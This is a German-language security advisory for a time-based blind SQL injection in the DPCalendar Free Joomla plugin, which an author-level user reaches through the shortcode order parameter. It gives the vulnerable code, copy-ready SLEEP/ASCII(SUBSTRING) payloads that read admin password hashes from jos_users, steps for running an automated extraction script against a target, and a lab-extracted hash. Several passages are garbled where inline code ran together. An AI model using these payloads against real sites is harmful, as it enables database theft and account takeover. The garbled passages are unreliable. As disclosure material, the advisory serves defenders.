
SQL-Injection über ORDER-BY-Shortcode in plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2
DPCalendar Free ≤ 10.11.2 — Autor-Level-Benutzer extrahiert vollständige Datenbank über zeitbasierte Blind-Injection
Das Content-Plugin plg_content_dpcalendar parst {{#events order="..."}}{{/events}}-Shortcodes, die in Joomla-Artikeltexte eingebettet sind. Der Wert des Parameters wird direkt an übergeben und umgeht dabei vollständig die Whitelist des Modells in . Der Wert wird anschließend in eine SQL--Klausel eingefügt, die nur durch geschützt ist — unzureichend gegen Subquery-Injection.
orderEventsModel::setState('list.ordering', ...)populateState()ORDER BYDatabaseDriver::escape()Ein Benutzer mit Autor-Rolle, der Artikel erstellen oder bearbeiten kann, kann dies ausnutzen, um Daten aus der Datenbank über zeitbasierte Blind-SQL-Injection zu exfiltrieren. Die SQLi wird innerhalb der eigenen Artikel-Speicheranfrage des Angreifers ausgelöst — keine Interaktion mit einem Opfer, kein veröffentlichter Artikel und keine Administrator-Beteiligung erforderlich.
| KOMPONENTE | VERWUNDBAR | GETESTET AUF | BEHOBEN |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
Hinweis: Diese Schwachstelle unterscheidet sich von CVE-2026-57831 (unauthentifizierte SQLi in
EventsModel.phpüberfilter_created_by, behoben in v10.11.2). Der vorliegende Befund betrifft das Content-Plugin (plg_content_dpcalendar) — eine andere Datei, ein anderer Parameter, und war zum Zeitpunkt der Entdeckung in der neuesten Version ungepatcht.
Typ: SQL-Injection (CWE-89) — Zeitbasierte Blind-Injection
Erforderliche Authentifizierung: Autor-Rolle (kann Joomla-Artikel erstellen/bearbeiten)
Endpunkt: POST /index.php/submit-article?view=form&layout=edit
Datei: plg_content_dpcalendar/src/Extension/DPCalendar.php
Der Shortcode-Parser des Plugins iteriert über alle Schlüssel-Wert-Parameter in einem {{#events}}-Tag und setzt den Modellstatus direkt, wobei die Whitelist-Validierung von populateState() vollständig umgangen wird:
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — VERWUNDBARE PARAMETERVERARBEITUNG
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// VERWUNDBAR: setzt den Sortierstatus direkt aus Benutzereingabe
// umgeht die populateState()-Whitelist vollständig
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
Der kontaminierte Wert fließt mit nur Anführungszeichen-Escaping in EventsModel::getListQuery() ein — unzureichend, um Subquery-Injection in einem ORDER BY-Kontext zu blockieren:
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — ORDER-BY-KONSTRUKTION
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() escaped nur Anführungszeichen — verhindert KEINE Subquery-Injection
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
Eine Subquery wie (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) passiert $db->escape() unverändert, da sie keine Anführungszeichen enthält. Das resultierende SQL lautet:
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
Der ORDER BY-Ausdruck wird nur ausgewertet, wenn das Ergebnisset nicht leer ist — dies erfordert mindestens ein veröffentlichtes zukünftiges DPCalendar-Ereignis, die Standardbedingung für jede aktive DPCalendar-Installation.
Wichtiges Verhalten: Die SQLi wird innerhalb der Speicher-/Bearbeitungs-POST-Anfrage selbst ausgelöst — die Zeitverzögerung ist direkt in der HTTP-Antwort (303 Redirect) beobachtbar. Der Angreifer misst die Antwortzeit seiner eigenen POST-Anfrage; kein Artikelaufruf, kein Seiten-Reload und kein Veröffentlichungsschritt ist erforderlich.
Voraussetzungen:
plg_content_dpcalendar-Plugin aktiviert (Standard bei DPCalendar-Installation)start_dateSzenario: Zeitbasierte Blind-SQLi → Admin-Anmeldedaten extrahieren
Das Plugin setzt filter.state = 1 und list.start-date = NOW() vor dem Aufbau der Abfrage. ORDER BY-Subqueries werden nur ausgeführt, wenn das Ergebnisset Zeilen enthält; wenn 0 Zeilen übereinstimmen, wird SLEEP() nie aufgerufen.

Authentifizieren Sie sich über ein Autor-Konto am Joomla-Frontend. Zu keinem Zeitpunkt dieses Angriffs ist ein Admin-Zugriff erforderlich.

Navigieren Sie zum Frontend-Artikel-Einreichungsformular (/submit-article). Fügen Sie den folgenden Payload in den Artikeltext ein und klicken Sie auf Speichern:
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
Die POST-Antwort selbst wird um ~5 Sekunden verzögert. onContentPrepare wird während der Joomla-Speicher-Pipeline ausgelöst und ruft die verwundbare Abfrage vor dem 303-Redirect auf. Kein Artikelaufruf oder Veröffentlichung ist erforderlich.

Ersetzen Sie 1=1 durch 1=2 (immer falsch). SLEEP wird nicht ausgelöst und die Antwort erfolgt sofort (~100ms), was eine zuverlässige Zeitunterscheidung bestätigt.
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

Verwenden Sie ASCII(SUBSTRING(...))-Vergleiche, um jedes Zeichen auszulesen. Einfache Anführungszeichen müssen vermieden werden (der Shortcode-Regex [^"\']* stoppt bei jedem Anführungszeichen); verwenden Sie stattdessen dezimale ASCII-Werte:
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
Antwortzeit ~5s → TRUE → char[1] = '$' (ASCII 36 — erstes Zeichen eines bcrypt-$2y$10$...-Hashes).

Führen Sie exploit/exploit.py aus, um die Byte-für-Byte-Extraktionsschleife zu automatisieren:
python3 exploit/exploit.py http://TARGET
Das Skript meldet sich als Autor an, sendet präparierte Payloads und extrahiert Benutzername, E-Mail und den vollständigen 60-stelligen bcrypt-Passwort-Hash. Laboregebnis bestätigt: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

| Bedingung | Antwortzeit |
|---|---|
TRUE: ASCII(SUBSTR(password,1,1))=36 | ~5.000 ms |
FALSE: ASCII(SUBSTR(password,1,1))=65 | ~100 ms |
jos_users.password), Session-Tokens und Benutzer-E-Mails, über zeitbasierte Blind-SQL-Injection.